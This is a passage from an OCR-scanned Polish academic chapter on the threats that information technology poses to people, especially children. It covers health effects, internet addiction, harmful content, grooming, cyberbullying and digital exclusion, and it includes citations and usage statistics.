podlegajaca specjalnym prawom, w ktorej ma miejsce informacyjna dez/inte-
gracja ludzi i spoteczenstwa’.

Zyjemy w okresie transformacji cywilizacyjnej, ktorej istota jest przebudo-
wa aksjologicznego modelu zycia ludzi i wspdlnot. Charakter i zakres tych
przemian jest uzalezniony od przemian, jakie zachodza w technologiach klu-
czowych tej fali rozwoju cywilizacji. Tymi technologiami sg systemy technolo-
gii informacyjnych. Podkresli¢ bowiem nalezy, ze nalezg do nich wszystkie
technologie zwigzane z poszukiwaniem i pozyskiwaniem informacji ich groma-
dzeniem, sortowaniem, segregacja, ale takze przechowywania, przetwarzania,
przesytania i likwidacji informacji. W kazdym z tych procesow odnajdujemy
coraz to nowe technologie informacyjne. Kazda z tych technologii udostgpnia
nam nowe wyniki, jakimi sg utwory informacyjne, uzyskane z zastosowaniem
coraz sprawniejszego i bardziej wydajnego nowego sprzg¢tu informatycznego
wykorzystujacego nowe metody (najczesciej nowe oprogramowanie). Zmieniajg
si¢ niezbedne do postugiwania si¢ informacjami kompetencje wszelkich uzyt-
kownikow nowego sprzetu, ale takze zmieniajg si¢ kompetencje zawodowe pra-
cownikow roznych zawodow.

Nie mniej waznymi zmianami sg te z nich, ktére ujawniajg si¢ w zwigzku ze
zmiang w zasiggu wykorzystywania technologii informacyjnych oraz w stopniu
ich oddziatywania spotecznego. Wszak rozwoj technologii ma charakter zawsze
wielokierunkowy, w tym takze negatywny. Zatem pojawianie sie nowego pro-
gramu komputerowego, systemu operacyjnego, systemow zabezpieczen pocigga
za sobg opracowywanie sposobow i konstruowanie systemow nielegalnego
oprogramowania umozliwiajgcego wtamywanie si¢ do tychze nowosci — wedtlug
zapewnien autoréw — niezawodnych i doskonale zabezpieczonych.

Taka dynamika zmian rodzi zagrozenia, ktorym wspolczesna pedagogika
(w tym dydaktyka informatyki) i psychologia powinny po$wiecaé coraz wiecej
uwagi, a w szczegolnosci zaczaé wykonywac regularne badania naukowe.

L J.L. Kulikowski, Cztowiek i infosfera ,,Problemy” 1978, nr 3(384), s. 2-6; W. Babik, Eko-
logia informacji — wyzwanie XXI wieku, ,,Praktyka i Teoria Informacji Naukowej i Technicznej”
2002, nr 1(37), s. 20.
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Zastanawiaja nas zagrozenia wynikajace ze wszechobecnosci technologii
i urzadzen informatycznych, ale takze zagrozenia, ktore moga pojawic si¢
W przysztosci, czyli zwigzane z wizjg dalszego ich rozwoju, czy wreszcie miej-
scem czlowieka w stechnicyzowanym $wiecie. Interesuja nas skutki zawrotnego
tempa komputeryzacji, miniaturyzacji, rozwoju mikroelektroniki i wszelkich za-
awansowanych technologii wspotczesnych.

Konsekwencje spontanicznego ich rozwoju moga by¢ bardzo grozne i to
w wielu wymiarach Zycia zaréwno czlowieka, jak i otaczajacego go $wiata®. Zagro-
zenia ptynace z omawianych zjawisk, w tym przede wszystkim ze strony sprzetu
komputerowego 1 Internetu obejmuja zagrozenia osobowe i spoteczne. W grupie
pierwszej odnajdujemy zagrozenia cielesno$ci cztowieka (tzw. zagrozenia fizyczne),
zagrozenia dotyczace zjawisk zycia psychicznego (zjawisk dotyczacych procesow
poznawczych) 1 zycia duchowego (W tym zagrozenia moralne i wielorakie uzalez-
nienia)®. W grupie zagrozen spotecznych wyrézniamy te, ktore dotycza zjawisk
analizowanych w skali lokalnej i te dotyczace skali globalnej. Wymieniamy tutaj
zagrozenia dotyczace kultury, w tym zmiany stylu zycia, upowszechnienia kon-
sumpcjonizmu, przemian j¢zyka (szerzenie uproszczonego kodu jezykowego). Dy-
namicznie rozwijaja si¢ patologie spoleczne rdznego rodzaju. Pojawiaja si¢ nowe
zagrozenia, takie jak przestgpczo$¢ internetowa, czy cyberterroryzm.

W omawianym konteks$cie pojawiajg si¢ interesujace problemy. Jakie sa
konsekwencje owych skumulowanych zmian, nastepujacych w jednym miejscu
i czasie, a ujawniajace si¢ w zmienionym $rodowisku zycia i pracy cztowieka?
Na ile i kiedy owe zmiany uzna¢ mozna za zmiany korzystne? Czyli, czy zmiany
te uzna¢ mozna za zmiany pozytywnie wplywajace na jako$¢ srodowiska, do-
skonalgce to $rodowisko? Czy w tych procesach dynamicznie nastgpujacych
zmian pojawiajg si¢ watpliwosci, zagrozenia, niebezpieczenstwa?

Istota technologii lezy poza nia samg

Dynamika zmian technologii informacyjnych jest bardzo duza. Doswiadczamy
jej w zjawiskach codziennego zycia. Konsekwencje spoteczne i gospodarcze sa
bardzo znaczace. Czy kto$ pamigta jeszcze co$ takiego jak pager? Mozna go zoba-
czy¢ w niektorych starszych filmach. To tylko pierwszy przyktad z brzegu. Palmtop
to inny ,.gadzet” na wymarciu. Technologie telefonii komorkowej doprowadzily
praktycznie do calkowitej likwidacji budek telefonicznych. Jesli za$§ przyjrzec si¢
samej funkcjonalnosci, to zobaczymy, Ze telefon wypiera proste aparaty fotograficz-

2 B. Kuzminska-Sokénia, Rola Internetu w spoleczeristwie informacyjnym, http:/fw.biblio-
tece.pl/books/dd59¢c7064c7847e39456fh92a8d13c07/

% G. Kiedrowicz, Zagrozenia dla edukacji wspomaganej technologiq informacyjng, http:/iga-
zeta-it.pl/pl/edukacja/5065
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ne, przenosne konsole do gier, odtwarzacze MP3, nawigacje samochodowe, nie
mowiac juz o takich urzadzeniach jak kalkulatory czy notatniki. Technologie telefo-
nii komorkowej i technologie internetowe przyczynity si¢ rowniez do spadku liczby
wysytanych kartek pocztowych i listow (MMSY i SMSy). Te urzadzenia, ktore
z tradycyjnym telefonem faczy tylko fakt mozliwosci prowadzenia rozmow, zmie-
niajg $wiat na naszych oczach. Zmieniajg jako$¢ naszego zycia.

Warto takze zauwazy¢ zjawisko w skali szerszej. Przejscie z technologii fo-
tografii analogowych na cyfrowe wymusito bankructwo firm, ktére te technolo-
gie wykorzystywaty, w tym takze firme¢ matke fotografii analogowej Kodak.
Tysigce ludzi zatrudnionych w tej korporacji stracito prace.

Technologie telefonii komdérkowych wyeliminowaty tradycyjne technologie
telekomunikacyjne. A urzadzenia mobilne stajg si¢ zabojcami technologii kla-
sycznych. Przyktadowo smartfon — urzadzenie mobilne taczace technologie
telefonii komorkowych z technologiami internetowymi w powigzaniu z tzw.
chmura internetowa i Internetem Wszechrzeczy”.

Wspolczesnos¢ a zagrozenia dla czlowieka

To nie informacje same w sobie stanowig zagrozenie, lecz nierozsadny
i nicodpowiedzialny ich wybor oraz ich uzywanie i wykorzystywanie.
Zagrozenia o charakterze psychologicznym:
e wewnetrzny przymus bycia w sieci;
e ucieczka od $wiata realnego do sztucznego $wiata wirtualnego;
e dostep do patologicznych grup kulturowych;
o alienacja (np. alienuje telepraca).
Zagrozenia o charakterze technicznym:
e zagrozenie utraty danych w wyniku kradziezy lub ich zniszczenie przez
czlowieka;
e wirusy komputerowe.
Zagrozenia o charakterze medycznym:
e zagrozenia zdrowia cztowieka powodowane m.in. praca przy kompute-
rze, czy szkodliwoscig promieniowania monitora komputera.
Zagrozenia o charakterze prawnym:
e zagrozenie praw autorskich.

* Smartfon (ang. smartphone) — przenoéne urzadzenie telefoniczne taczace w sobie funkcje
telefonu komorkowego i komputera kieszonkowego (PDA — Personal Digital Assistant). Pierwsze
smartfony powstaty pod koniec lat 90. XX w., a obecnie tacza funkcje telefonu komérkowego,
poczty elektronicznej, przegladarki sieciowej, pagera, GPS, jak rowniez cyfrowego aparatu foto-
graficznego i kamery wideo. W nowszych modelach dostepne sa tez funkcje typowe dla PDA, jak
zarzadzanie informacjami osobistymi (ang. Personal Information Management).
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Zagrozenia o charakterze spolecznym:

niebezpieczenstwo nowych podziatéw spotecznych spowodowane nie-
rownomiernym dostepem do informacji — problem wykluczenia;
atomizacja spoteczenstwa;

zanik poczucia stuzby publiczne;j;

problemy ochrony prywatnosci,

naptyw informacji niezamawianej, nieprawdziwej, nickompletne;j.

Zagrozenia informacyjne wynikajace z rozwoju wspélczesnoSci:

nadmiar informacji;

pomijanie informacji;

niezalezno$¢ informacji;

rozbieznos$¢ informacji;

problematyczna warto$¢ informacji;

szum informacyjny;

stres informacyjny;

niskie kompetencje informacyjne odbiorcow informacji (ang. informa-
tion illiteracy);

dylematy etyczne.

Zagrozenia osobowe

O skali zagrozenia mogg $wiadczy¢ statystyki dotyczace korzystania przez
dzieci z Internetu®:

89% dzieci w Polsce korzysta z Internetu;

czas korzystania z Internetu przez dzieci wydtuza sie. Od roku 2006 do
roku 2007 zwigkszyt si¢ z 15 godzin 56 minut do 24 godzin 27 minut.
Pod uwagg brany byt $redni czas w trakcie jednego miesiaca,

45% dzieci (czyli prawie co drugie) korzysta z Internetu codziennie lub
prawie codziennie;

70% dzieci w wieku 7—14 lat gra on-line®.

Zagrozenia cielesnosci czlowieka, zaburzenia ekologii ciala

Cztowiek mimo woli uzaleznit si¢ od najnowszych technologii informacyj-
nych. Mam tu na mysli nie tylko takie uzaleznienie, ktore jest obecnie przedmio-

® J. Barlinska, Edukacja na rzecz bezpieczenistwa dzieci i mlodziezy w sieci, http:/ldziecko-
wsieci. fdn.plstrona.php/? (dostep: 21.03.2011).
® http://old.psychologia.edu.pl/index.php?dz=strony&op=spis&id=169&lang=pl (dostep: 17.

06.2011).

24



tem badan lekarzy, psychologow, socjologéw, polegajace na notorycznym prze-
siadywaniu przed komputerem i graniu w gry komputerowe, surfowaniem po
sieci i komunikowaniem si¢ najczgséciej z nieznajomymi, ale catkowite sprzeze-
nie wszelkich czynnosci zawodowych, coraz czgsciej takze prywatnych. Pra-
cownicy instytucji, przedsigbiorstw, szpitali, szkol, uczelni zaczynajg kazdy
dzien pracy od wlgczenia komputera. Gtéwnymi zagrozeniami ptyngcymi z nie-
dostosowanego do higieny pracy korzystania z komputera sg: problemy ze
wzrokiem, schorzenia nadgarstka, problemy z krggostupem.

Intensywne korzystanie ze sprzgtu komputerowego po pewnym czasie (naj-
czesciej jest to okres przynajmniej kilkuletni) moze powodowaé réznorodne
zagrozenia. Zagrozenia te mozna podzieli¢ na kilka grup.

Chodzi tu nie tylko o niebezpieczenstwo chorob czlowieka, ale rowniez
0 pewne zmiany o charakterze spotecznym, jak na przyktad zagrozenia z zakresu
etyki, w tym takie zjawiska jak wzrost liczby plagiatow, nieformalnych zapozy-
czen oraz zanik samodzielnego myslenia i poglebionej refleks;ji.

Naduzywanie $rodkow przekazu informacji zwlaszcza telewizora, jak i kom-
putera niesie za sobg wiele niebezpieczenstw. Najbardziej zauwazalne sg zagroze-
nia fizyczne, ktore dos¢ tatwo zdiagnozowac, cho¢ do niedawna, z uwagi na niedo-
pracowane uregulowania prawne, trudno je byto traktowac jako choroby zawodowe.

Ten rodzaj zagrozen dotyczy przede wszystkim cielesnosci czlowieka. A je-
go tres¢ zalezy przede wszystkim od tego jak owa cielesno$¢ rozumiemy. Ciato
ludzkie wyraza to, co jest tajemnicg cztowieka, a nie tajemnicg ciata. Nasze za-
chowania cielesne wyrazajg to, kim jestesmy, jakie wyznajemy wartosci, w jaki
sposob rozumiemy sens zycia i kim chcemy by¢ dla innych ludzi.

W przypadku zaburzonego rozwoju zdarza si¢, ze poczucie tozsamos$ci da-
nego cztowieka zostaje ograniczone niemal wylacznie do swiadomos$ci na po-
ziomie cielesnym. W przypadku prawidlowego rozwoju znaczenie sfery ciele-
snej ulega stopniowemu zmniejszaniu si¢ w miare, jak dany wychowanek od-
krywa pozostate wymiary wilasnej rzeczywistos$ci. Coraz wazniejsza dla niego
staje si¢ wtedy jego wrazliwo$¢ emocjonalna i moralna, jego zdolno$¢ myslenia
i wewnetrzna wolno$¢’.

Troska o zdrowie to odpowiedzialne odzywianie si¢, to dostosowanie ak-
tywnosci 1 trybu pracy do ptci i wieku danej osoby. To wlasciwy tryb zycia,
ktory zapewnia rownowage wysitku, odpoczynku i snu. To troska o ekologie
ciala — o to, by nie tylko powietrze, ziemia i woda byly czyste, lecz takze, by
nasze najwazniejsze Srodowisko naturalne, czyli nasza cielesno$¢ nie byla zatru-
ta fizycznie, chemicznie czy psychicznie®.

" M. Dziewiecki, Formacja sfery cielesnej, http://www.opoka.org.pl/biblioteka/I/ID/md_
0310_cielesna.html
8 Tamze.
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Uzaleznienia behawioralne naruszaja tez zdrowie somatyczne, narazajac na
wiele dysfunkcji czy chordb. Najistotniejsze jest to, ze osoby owladnigte beha-
wioralnym natogiem majg powazne trudnosci z powstrzymaniem si¢ od wyko-
nywania danej czynno$ci, nawet mimo wyraznych szkod, jakie ono im przynosi.
Czgsto wyrwanie si¢ ze szponow wilasnych behawioralnych przymuséw wymaga
pomocy innych ludzi i specjalistow®.

Uzaleznienie behawioralne (lub zachowanie natogowe — addictive behavior)
definiowa¢ bedziemy jako powtarzajacy si¢ nawyk, ktory zwieksza ryzyko cho-
roby i/lub zwigzanych z nig probleméw osobistych oraz spotecznych. Zachowa-
nia natogowe sg czgsto subiektywnie odczuwane jako utrata kontroli — pojawiaja
si¢ pomimo $wiadomych wysitkow zmierzajacych do ich powstrzymania lub
ograniczenia.

Ujete w syndromy owe skutki fizjologiczne okreslane sg terminem Zespot
Uzaleznienia Internetowego (ZUI). Obejmuje on:

e zaburzenia fizyczne — wady postaw, skrzywienia kregostupa, wady wzroku,
uszkodzenia nerwéw odpowiedzialnych za ruchy nadgarstka i dtoni';

e zaburzenia wzroku — osoby czesto korzystajace z komputera skarzg si¢ na
problemy ze wzrokiem; jest to spowodowane promieniowaniem, ktore emitu-
je monitor (obecnie coraz rzadziej, gdyz tradycyjne monitory kineskopowe
wyparte sg przez mniej szkodliwe LCD);

e zespot kanatu nadgarstkowego czasami zwanego ,,ciasnym nadgarstkiem”,
wystepuje przy dtugotrwalym, nieumiejetnym korzystaniu z klawiatury kom-
puterowej, dlugotrwatym napigciem migsni, co moze prowadzi¢ do bole-
snych skurczow migéni, co z kolei prowadzi do ucisku tetnicy promieniowej
i tukow tetniczych dioni, a co za tym idzie — niedokrwienia reki na odcinku
nadgarstek — $rodrecze — palce;

e naprezenia migsni plecow i karku, skrzywienie krggostupa; nieodpowiednie
krzesto czy pozycja moga by¢ przyczyng skrzywien kregostupa. Moga takze
powodowa¢ RSI (repetitive strain injury) — zespdt urazow wynikajacy
z chronicznego przecigzenia i nieergonomicznego miejsca pracy;

e przewlekte bole ramion, przedramion, przegubdéw i dtoni, ktorych przyczyny
moga kumulowac sie, nie dajac o sobie znaé przez wiele lat.

Podczas pracy, dopiero po dlugim czasie lub po odejéciu od komputera, od-
czuwamy te wszystkie objawy, dlatego ze mdzg silnie koncentruje si¢ w czasie
pracy na tym, co dzieje si¢ na ekranie i nie potrafi w odpowiednim momencie
interpretowac sygnatow ostrzegawczych. Sg one zaghluszane az do momentu, gdy
stajg si¢ nie do wytrzymania.

°® R. Poprawa, W putapce Internetu [w:] http://www.badania.psychologia.uni.wroc. pl/2ty
pe=artykul

0 A, Hassa, Komputer w edukacji wezesnoszkolnej. Mozliwosci i ograniczenia, ,,Zycie Szko-
1y” 2000, nr 9, s. 5.
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Zagrozenia zycia psychicznego

Zagrozenia zycia psychicznego najwyrazniej ujawniajg si¢ w uzaleznieniach

psychicznych od Internetu. Obejmujg one:

e nerwice, leki lub w uktadzie nerwowym tzw. padaczka ekranowa; uzalez-
nienia;

e zatracenie poczucia realizmu — wielokrotna $mier¢ bohateréw i1 mozliwosé
,cudownych ozdrowien”;

e zagrozenia spoleczne — wyizolowanie ze spoteczno$ci grupowej, anonimo-
wos¢ 1 przestepczo$¢ komputerowa;

e zagrozenia intelektualne — bezkrytyczne zaufanie w mozliwosci komputera™.

Przemiany w procesach uczenia si¢

Internet jest narzedziem z powodzeniem wykorzystywanym przez dzieci
i mtodziez w procesie edukacji. Jednym z powodoéw korzystania przez mtodziez
Z Internetu jest ich otwarto$¢ i ciekawos¢. Internet jest dla nich interesujacy
i nieznany. Nigdy do konca nie wiadomo, co czeka w sieci. Do korzystania
z sieci sktania tematyka stron internetowych. Bez trudu mozna znalez¢ strony
z informacjami z réznych dziedzin wiedzy. Dla korzystajacych z Internetu nie
bez znaczenia jest rowniez prosta obstuga stron internetowych oraz element
czasu. Uzytkownik sieci nie musi si¢ spieszy¢, sie¢ daje czas i nie ponagla,
a informacje zawarte w Internecie sa dostepne przez cata dobe, przez co rowniez
mtodzi ludzie chetnie wybieraja nauke i zabawe przy pomocy Internetu'.

Glowne zagrozenia intelektualne dotycza zburzen w rozwoju i funkcjono-
waniu proceséw poznawczych czlowieka.

Pierwszym podstawowym zrédiem tych zagrozen jest bardzo szybki wzrost
ilosci informacji, prowadzacy do nadmiarowosci informacji, przetadowania in-
formacyjnego, Ten szok informacyjny i bezkrytyczne zaufanie do mozliwosci
maszyny. Na gruncie psychologii dogodna ptaszczyzng opisu zjawiska szoku
informacyjnego stanowig koncepcje stresu.

Nadmiar danych oraz wielkie tempo ich przekazu — w zestawieniu z ograni-
czeniami poznawczymi cztowieka wynikajacymi z wlasciwosci funkcjonalnych
uwagi i pamigci — stwarza subiektywne poczucie dezorientacji, chaosu, bezrad-
nosci a nawet zagrozenia. Cato$¢ doznan bywa okreslana jako stres informa-
cyjny, stanowiacy jedng z odmian stresu poznawczego.

= Tamze, s. 5
12M. Szymanska, Rola Internetu w procesie edukacji dzieci i mlodziezy, ,Problemy Opiekun-
czo-Wychowawcze” 2008, nr 6.
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Kontakt z niebezpiecznymi treSciami

Do najbardziej uzalezniajacych tresci internetowych zalicza si¢ nastepujace tresci:
internetowa pornografia;
kopiowanie filméw i muzyki;
gry sieciowe;
elektroniczny hazard;
przegladanie i gromadzenie duzych ilosci informacji z Internetu;
uzupetnianie oprogramowania;
hakerstwo;
poczta elektroniczna;
handel internetowy;
pogawedki internetowe (np. grupy dyskusyjne, czaty, fora)™.

Dodatkowo mozemy wyr6zni¢ kontakt ze szczegélnie niebezpiecznymi
dla dzieci i mlodziezy tresciami, takimi jak: brutalna przemoc, ksenofobia czy
rasizm. O niebezpiecznych tresciach mowimy wtedy, kiedy kontakt z nimi moze
mie¢ szkodliwy wptyw na psychike i rozwoj dziecka. Cze$¢ z opisanych powyzej
ma nielegalny charakter, np. pornografia dziecieca, ale druga cz¢s$¢ moze znajdowaé
si¢ w Internecie legalnie, np. brutalne sceny. Kontakt z nimi moze mie¢ przypadko-
wy charakter i by¢ catkowicie niezamierzony. Dziecko moze si¢ na nie natkna¢ przy
okazji wyszukiwania jakich$ informacji za pomocg wyszukiwarki (i klikni¢cie na
przypadkowy link) Iub tez poprzez pobranie btednego pliku.

O skali zagrozenia mogg $wiadczy¢ statystyki dotyczace kontaktu dzieci

Z niebezpiecznymi tresciami w Internecie’:

e 71% dzieci ma kontakt z treSciami pornograficznymi, przy czym 63% trafia
na nie w przypadkowy sposob;

e 51% dzieci spotyka si¢ z brutalnymi scenami przemocy, w tym 61% przy-
padkowo;
28% dzieci spotkato si¢ z tre§ciami propagujacymi przemoc i nietolerancje;
25% dzieci deklaruje, ze rodzice nie interesujg si¢ ich dzialaniami w sieci;
zaledwie 10% dzieci ma regularng opieke rodzicow podczas korzystania
Z Internetu.

Niechciane i nieodpowiednie tresci

Kazdy internauta jest narazony na kontakt z tresciami, z ktorymi nie chciat-
by mie¢ do czynienia. Sg nimi m.in.:

13 A, Jakubik, Zespot uzaleznienia od Internetu (ZUI), ,,Studia Psychologica” nr 3, 2002.
14 J. Barlinska, Edukacja na rzecz bezpieczenistwa dzieci i mlodziezy w sieci, http://dziecko
wsieci. fdn.plstrona.php/? (dostep: 21.03.2011).
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e materialy promocyjne — tak zwany spam, przesylane do indywidualnych
uzytkownikow; mogg to by¢ reklamy, linki prowadzace do stron lub inne ma-
teriaty w wersji elektronicznej. Spam stanowi nawet do 50% korespondencji
krazacej po Internecie; w wigkszosci jest niezbyt grozny.

e niebezpieczne pliki (wirusy, trojany), szkodliwe dla naszego komputera

I oprogramowania.

Podstawowe rodzaje niebezpiecznych tresci to:

tresci prezentujace przemoc, pornografie;

tresci prezentujace rasizm i ksenofobig;

tresci nawotujace do popetnienia przestepstw;

tresci promujace faszystowski lub inny totalitarny ustroj panstwa;

tresci zachgcajace do prostytucji lub hazardu;

tresci promujace narkotyki oraz inne uzywki — najczgsciej przez podkreslanie

ich rzekomo leczniczych walorow czy wskazanie, ze otwierajg one czlowieka

na nowa rzeczywistos$¢ (np. duchows);

e tresci zawierajace elementy psychomanipulacji (np. propagujace ruchy reli-
gijne uznane za sekty, namawiajgce do przystapienia do sekty, tresci propa-
gujace anoreksje i bulimie¢ jako styl zycia, a nie powazng chorobg, zachgcaja-
ce do popetnienia samobojstwa itp.).

Zdecydowana wigkszo$¢ psychologdw jest zdania, ze czgsty kontakt osob mto-
dych z pornografiag ma na nie gigboki, wiclowymiarowy i szkodliwy wplyw. Tresci
pornograficzne sg zrédtem do$wiadczen, ktore przerastaja zdolnosci adaptacyjne
milodziezy i dostarczajg im wzorcdéw patologicznych zachowan. Ksztattuja wypa-
czony i negatywny obraz $wiata, relacji miedzyludzkich, utrwalajg fatszywy obraz
kobiecosci 1 meskosci. W wyniku kontaktu z pornografiag moze dojs$¢ do erotyzacji
psychiki dziecka, napi¢¢, nadpobudliwos$ci psychoruchowej, wystapienia objawow
nerwicowych i depresyjnych®.

Zgodnie z obowigzujgcym w Polsce prawem zabronione jest publikowanie
tresci:

e pornograficznych z udziatlem matoletniego, tresci pornograficznych zwiaza-
nych z prezentowaniem przemocy lub postugiwaniem si¢ zwierzeciem;

e propagujacych publicznie faszystowski lub inny totalitarny ustrdj panstwa;

e publicznie zniewazajgcych jednostke badz grupe osdb z powodu jej/ich przy-
nalezno$ci narodowej, etnicznej, rasowej, wyznaniowe;j'.

Wsréd innych zagrozen i przyktadéw niebezpiecznych tresci, z ktdrymi mo-
g3 sie zetknac¢ surfujgce w Internecie dzieci i mlodziez wymieni¢ nalezy:

18J. Lipinska, Internet i miode pokolenie. Przeciwdzialanie potencjalnym zagrozeniom [w:]
Internet. Miedzy edukacjq, bezpieczehistwem a zdrowiem pod red. M. Kowalskiego, Maternus
Media, Tychy 2008, s. 36.

18 Tamyze, s. 35.
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e cyberbuiilying — to przemoc polegajaca na wyzywaniu, o§mieszaniu, szanta-
zowaniu czy rozprzestrzenianiu kompromitujacych materiatéw w sieci przy
uzyciu technologii informacyjnych i komunikacyjnych (komunikatorow, cza-
tow, stron www, blogow);

e grooming — to uwodzenie dzieci przez osoby doroste za pomoca Internetu.

Do nawigzania bliskiego kontaktu z dzie¢mi ,,.cyberlowcy” wykorzystuja

glownie komunikatory internetowe oraz czaty;

tresci propagujace ruchy religijne uznane za sekty;

tre$ci propagujace anoreksje i bulimi¢ jako styl zycia, a nie powazng chorobe;

tre$ci nawotujace do samobojstw lub samookaleczen;

tresci promujace narkotyki oraz inne uzywki — najczesciej przez podkreslanie

ich rzekomo leczniczych waloréw czy wskazanie, ze otwierajg one czlowieka

na rzeczywistos¢ duchowa®’.

Przeciazenie informacyjne

Woystepuje ono przy nattoku informacji, np. przebywanie w wielu pokojach
rozmow jednoczesnie lub udziat w wielu listach dyskusyjnych. Przecigzenie
informacyjne, jest to przymus pobierania informacji (information overload)®.

Zagrozenia dotyczace sfery duchowosci

Cechg Internetu jest mozliwo$¢ eksperymentowania z tozsamos$cig. Mozemy
w zadziwiajacy sposob manipulowa¢ wilasng osobowoscig, na przyktad przypi-
Sujac sobie inng pte¢ lub wiek. Eksperymentowanie z tozsamoscig jest wazna
czescig rozwoju cztowieka, a kryzysy tozsamosci, ktore przezywamy, zwlaszcza
w miodosci sa cennymi do$wiadczeniami dla naszego rozwoju psychicznego.
Jesli wszystkiego nie sprobujemy, nie dowiemy si¢, co nam najbardziej odpo-
wiada. Kiedy znowu sobie wszystko pouktadamy, przybieramy nowg tozsamos¢.
Temu stanowi towarzyszy glebsze poczucie wasnego ,ja”*°. To, co méwimy na
swoj temat w sieci, tak tatwo mozemy ubarwi¢ lub fatszowaé, ze srodowisko to
staje si¢ kuszacym miejscem do przeprowadzenia eksperymentéw. To, ze mo-
zemy w nim ktamaé i zazwyczaj uchodzi nam to na sucho, jest kolejna istotng

e Tamze, s. 35.

18 Doktadniej ten problem oméwiono [w:] W. Furmanek, Antropoinfosfera wspéiczesnego
czlowieka, ,.Dydaktyka informatyki. Informatyka wspomagajaca calozyciowe uczenie si¢”,
nr 8 (2013), s. 49-74,

¥p_ Wallace, Psychologia Internetu, Dom Wydawniczy Rebis, Poznan 2000, s. 67.
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cecha Internetu. W $rodowisku tekstowym nie mamy mozliwosci zademonstro-
wania swojej wysokiej pozycji spotecznej®.

Zagrozenia etyczne. Zagubienie aksjologiczne

Z jednej strony Internet jest bardzo dobrym $rodkiem do podtrzymywania
i nawigzywania kontaktow, z drugiej za$ strony stanowi zagrozenie dla osob
korzystajacych z niego w nieprawidtowy sposob. Na mtodego cztowieka moga
czyha¢ liczne niebezpieczenstwa, o ktorych warto wigcej wiedzie¢, aby prze-
ciwdziata¢ im w odpowiednim momencie?.

Zagrozenia moralne wynikaja z tatwego i niekontrolowanego dostepu do in-
formacji; negatywnych postaw i zachowan oraz schematyzmu postepowania.
Zagrozenia te maja wielowymiarowy charakter. Zagrozenia moralne to przede
wszystkim latwy i niekontrolowany dostgp dzieci i mtodziezy do informacji
0 tresciach niepozadanych. Okazuje sig¢, ze nie istnieja zadne naprawde skutecz-
ne filtry, ktére uniemozliwia dotarcie do stron moralnie nagannych.

Porady Francuskiego Rzecznika Praw Dziecka dla rodzicow:

Zainstalujcie komputer w pokoju dziennym lub innym wspolnym pomieszczeniu.

Korzystajcie z Internetu rodzinnie.

Uczcie dzieci ostroznosci w obchodzeniu sie z Internetem (chodzi tu w szczegol-
nosci, aby nie podawac informacji osobistych, a takze, aby szybko opuscic¢
strony szokujace swoim oddziatywaniem).

Stworzcie wokot Internetu szczery dialog ze swoimi dzieémi.

Zagrozenia te mozemy podzieli¢ w prosty sposob: na powodowane przez
osoby doroste i rowiesnikow?. Dodatkowo, dwie kategorie zagrozen to: niebez-
pieczne kontakty on-line i kontakt z niebezpiecznymi tresciami. Przy czym pa-
nuje powszechne przekonanie, ze ze strony dorostych najwieksze zagrozenie
zwigzane jest z wykorzystaniem seksualnym dzieci. Do zjawisk tych naleza:

e Pornografia dziecieca. Sktadajg si¢ na nia:
— prezentacja materiatow pornograficznych;
— produkcja, dystrybucja i posiadanie pornografii dzieciecej.

2 p_\Wallace, Psychologia Internetu..., s. 42—43.

2 Innowacje i technologie informacyjne przysziosciq nowoczesnej edukacji. Wdrazanie roz-
wigzan informatycznych w procesie ksztalcenia. Poradnik. Raport opracowany w ramach projektu:
Praktyka na miare szyta. Program praktyk pedagogicznych podnoszgcych jakosé ksztalcenia
w zawodzie nauczyciela. £.6dz 2012 [w:] http://wspim.edu.pl/projekty/ndp/do_pobrania/materialy/
m3.pdf

22 Caloé tego podrozdzialu zostata oparta na artykule: L. Wojtasik, Charakterystyka zagro-
zen dzieci w Internecie [W:] Jak reagowac na cyberprzemoc. Poradnik dla szkél, red. L. Wojtasik,
http://dzieckowsieci.fdn.plstrona.php/? (dostep: 20.03.2011).
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o Uwodzenie za pomocg Internetu. Dziatanie pedofilow przeniosto si¢ ostat-
nio z miejsc takich jak park, plac zabaw czy teren przed szkota do sieci. Na-
wigzywanie kontaktu z dzie¢mi jest tatwe poprzez czaty czy komunikatory.
Dzieje si¢ tak, poniewaz serwisy te staja si¢ coraz bardziej popularne, roz-
mdwca pozostaje anonimowy, a dzieci sa naiwne i nie maja $wiadomosci za-
grozenia.

e Seks wirtualny. Za sprawg komunikacji w czasie rzeczywistym, jaka umoz-
liwia Internet, pojawito si¢ zjawisko cyberseksu (wirtualnego seksu). Podob-
nie jak w przypadku uwodzenia, pedofile rozpoczynaja rozmowe z dzieckiem
na czacie lub przy uzyciu komunikatora, ale nie prowadzi ona do spotkania w
rzeczywistoéci. Aktywnos$¢ seksualna ogranicza si¢ do kontaktu on-line,
dzieki ktorej sprawca doznaje zaspokojenia.

o Dziecieca prostytucja. Coraz cz¢sciej powigzana jest z Internetem i telefonia
komoérkowa. Potencjalni sprawcy przy pomocy Internetu wyszukuja nielet-
nich partnerow. Dzieci s3 manipulowane i $§wiadczg ustugi seksualne poza
siecig. Zdarza si¢, ze dzieci same aranzujg takie sytuacje, liczac na zaplate.
W takich przypadkach, pomimo Ze inicjatywa lezy po stronie dziecka, to 0so-
ba dorosta pozostaje odpowiedzialna za takie czyny.

Zagrozenia spoleczne

Zagrozenia wynikajgce z powszechnego wprowadzenia technologii infor-
macyjnej ciggle nie byly jeszcze obiektem szerszych badan naukowych. Zwia-
zane sg one z anonimowoscig i brakiem hamulcow przy komputerze i w sieci.
W ten sposob niektorzy ludzie zachowuja sie w sieci na zasadzie przeciwienstwa
do swojego poprawnego zycia. Dla przyktadu potrafig kla¢ i ,,$§wintuszy¢”, cho¢
w realnym zyciu nigdy by sobie na to nie pozwolili. Podobnie bedg zachowywa-
ty si¢ dzieci, ktore nawet przypadkowo trafig do kanatu IRCa, gdzie tematyka
bedzie zbyt swobodna.

Wykluczanie cyfrowe

Wykluczenie cyfrowe (digital divide) jest powaznym problemem spotecz-
nym w znacznie wigkszym stopniu niz sam cyfrowy podziat czy to w ujeciu
lokalnym, czy globalnym. Korzystanie z nowych technologii staje si¢ wspotcze-
$nie nowym wymiarem zréznicowania, poglebiajacym juz istniejace nierdowno-
$ci. Im cenniejszym zasobem staje si¢ mozliwos¢ i umiejetnos¢ korzystania
z Internetu, tym wigkszym problemem stajg si¢ bariery w dostgpie do niego.
Jezeli bowiem dostep do globalnej sieci niesie ze soba réznego rodzaju korzysci,
a coraz czesciej staje sie rowniez niezbedny do petnego funkcjonowania w spo-
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teczenstwie, to jego brak moze by¢ podstawa spotecznego i ekonomicznego

wykluczenia.

Jednym z podstawowych problemow zwigzanych z upowszechnieniem do-
